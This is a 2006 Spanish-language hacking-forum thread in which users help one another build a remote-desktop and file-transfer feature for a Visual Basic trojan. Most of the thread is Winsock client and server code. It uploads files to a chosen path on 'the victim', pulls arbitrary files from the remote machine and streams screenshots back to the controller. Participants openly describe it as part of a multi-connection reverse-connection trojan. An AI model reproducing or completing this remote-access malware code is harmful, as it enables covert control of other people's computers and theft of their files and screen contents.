Título: escritorio remoto para troyano Publicado por: cobra_90 en 10 Septiembre 2006, 04:32 am komo envio archivos por winsoxck??? ya baje varios codes pero ninguno me funciona lo quiero para enviar imagenes del escritorio a un picture pro no funciona tengo el code para capturar la imagen y para convertirla a jpg y ´para visualisarla en un picture pero eso de enviar la imagen no me funciona :-( ayudenme!!
Título: Re: escritorio remoto para troyano Publicado por: ~~ en 10 Septiembre 2006, 17:52 pm Hola:
mira en el sub-foro de troyanos y virus el manual de Xenon para crear troyanos en VB, ahí viene muy bien explicado 1S4ludo Título: Re: escritorio remoto para troyano Publicado por: David Vans en 11 Septiembre 2006, 11:32 am Tienes que abrir el archvio de forma binaria y guardar el conteniudo en una variable luego envias esa variable por el winsck y cundo reciva toda la variable el cliente guardas el cntnido en un archvio con kla misma extension que tenia el archvio no tengo aqui el codigo a mano pero luego te lo pongo
Título: Re: escritorio remoto para troyano Publicado por: ~~ en 11 Septiembre 2006, 20:40 pm Mira aki te dejo la parte del codigo correspondiente a la transferencia de archivos del manual de -Xenon-
Citar ---------------------------CLIENTE----------------------------------- Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean Dim ext As String, path As String, nombre As String Private Sub Command1_Click() ws.RemotePort = "4444" ws.RemoteHost = "127.0.0.1" ws.Close ws.Connect End Sub Private Sub Command2_Click() cd.Filter = "Todos los archivos |*.*" cd.ShowOpen Open cd.FileName For Binary As #1 filedata = Input(LOF(1), 1) Close #1 nombre = cd.FileTitle path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path) path = path & nombre filesize = Len(filedata) ws.SendData "archivo" & "|" & filesize & "|" & path End Sub Private Sub Command3_Click() Dim ruta As String ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta) ws.SendData "coger" & ruta ext = Right(ruta, Len(ruta) - 4) End Sub Private Sub Form_Load() send = False progreso = False End Sub Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String ws.GetData datos If datos = "enviar" Then progreso = True ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True filesize = Mid(datos, 8) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos pb.Min = 0 pb.Max = filesize pb.Value = Len(datos2) pb.Refresh End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" pb.Value = 0 cd.Filter = "Archivos " & ext & "| *" & ext cd.FileName = "" cd.ShowSave Open cd.FileName For Binary As #1 Put #1, 1, datos2 Close #1 End If End If End Sub Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) If progreso = True Then pb.Min = 0 pb.Max = filesize bytes = bytes + bytesSent pb.Value = bytes pb.Refresh If filesize = bytes Then pb.Value = 0 MsgBox "Archivo enviado con éxito" bytes = 0 progreso = False End If End If End Sub ---------------------SERVIDOR---------------------------- Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String Private Sub Form_Load() send = False ws.LocalPort = "4444" ws.Close ws.Listen End Sub Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String, dato As Variant ws.GetData datos If datos = "enviar" Then ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True dato = Split(datos, "|") filesize = dato(1) path = dato(2) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" Open path For Binary As #1 Put #1, 1, datos2 Close #1 End If End If If Left(datos, 5) = "coger" Then datos = Mid(datos, 6) Open datos For Binary As #1 filedata = Input(LOF(1), 1) Close #1 filesize = Len(filedata) ws.SendData "archivo" & filesize End If End Sub empezamos! necesitamos añadir los componentes microsoft commond dialog control, microsoft windows commond controls y el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock. Para mas informacion: http://foro.elhacker.net/index.php/topic,57545.0.html 1S4ludo Título: Re: escritorio remoto para troyano Publicado por: cobra_90 en 12 Septiembre 2006, 00:19 am gracias pero no lo eh resuelto lo envio en forma binaria y si me crea el archivo cuando lo resive pero no me envia todos los datos dela imagen solo kiomo el 60 % y asi no la puede abrir si kiern me pasan el msn y les envio el proyecto a ver si me pueden ayudar es un troyano multiconexion de conexion inversa o algo asi pero lo del escritorio remoto solo creo k funcione en una lan :-\
Título: Re: escritorio remoto para troyano Publicado por: Isirius en 12 Septiembre 2006, 01:40 am Tneog una pregunta abria manera de hacer algo tipo VNC es VB o esto es como el VNC ¿?
Título: Re: escritorio remoto para troyano Publicado por: ~~ en 12 Septiembre 2006, 13:24 pm Hola:
A ver si es solo para escritorio remoto prueva asi: SERVER: Código: ' Imaginemos q la captura la guardas en c:\captura.jpg CLIENTE: Código: 'Recibimos los datos en una variable (r por ejemplo) Este es el funcionamiento (basicamente) ahora solo tienes q acoplarlo a tu troyano PD --> Espero q no haya muxos errores de sintaxis, por q lo acabo de improvisar xDD, si tienes dudas pos preguntas ;D 1S4ludo Título: Re: escritorio remoto para troyano Publicado por: Badlands en 21 Septiembre 2006, 19:48 pm Citar SERVER: Código: ' Imaginemos q la captura la guardas en c:\captura.jpg Dim h as atring Open "C:\captura.jpg" for binary as #1 h = space(lof(1)) get #1,,h close #1 ws.senddata h CLIENTE: Código: 'Recibimos los datos en una variable (r por ejemplo) Open "C:\capturas\escritorioremoto.jpg" for binary as #1 put #1,,r 'r es lo q hemos recibido close #1 'Ahora solo tienes q cargar "C:\capturas\escritorioremoto.jpg" en un picture box Con tu codigo me llega el archivo pero no en su tamaño completo, es decir mando una imagen de 12,0 KB y me llega una de 8,00 KB obviamente no se puede abrir, siempre me pasa lo mismo alquien save por que? Título: Re: escritorio remoto para troyano Publicado por: gmf_321 en 27 Septiembre 2006, 20:07 pm Para cargar la imagen en Picture vas a usar el siguiente CODE :
Código: Picture.picture = LoadPicture(C:\captura.jpg) Título: Re: escritorio remoto para troyano Publicado por: ~~ en 27 Septiembre 2006, 21:41 pm Ok
Eso es por q la imagen es muy grande se hace asi: Citar Server: Código: Private Sub Form_Load() ws.Close ws.Connect "127.0.0.1", 2848 End Sub Private Sub ws_Connect() ws.SendData "Tam:" & FileLen("C:\Prueba.txt") End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim data As String Dim Send As String ws.GetData data If Left(data, 8) = "SendFile" Then Open "C:\Prueba.txt" For Binary As #1 Send = Space(LOF(1)) Get #1, , Send Close #1 ws.SendData Send End If End Sub Cliente: Código: Dim DataFile As String Dim LenFile As Long Dim Envio As Boolean Private Sub Form_Load() ws.LocalPort = 2848 ws.Listen Envio = False End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim data As String ws.GetData data If Envio = True Then DataFile = DataFile & data ProgressBar1.Value = Len(DataFile) If Len(DataFile) = LenFile Then Open "C:\Prueba2.txt" For Binary As #1 Put #1, , DataFile Close #1 DataFile = "" MsgBox "El Fichero se a Enviado Correctamente" Envio = False ProgressBar1.Value = 0 End If End If If Left(data, 4) = "Tam:" Then LenFile = Mid(data, 5) ProgressBar1.Max = LenFile Envio = True ws.SendData "SendFile" End If e puesto ademas para que salga un ProgressBar1 si no lo quiere simplemente elimina estas lineas: Código: ProgressBar1.Max = LenFile ProgressBar1.Value = 0 ProgressBar1.Value = Len(DataFile) Me lo paso WarGhost hace ya algun tiempo ;) 1S4ludo |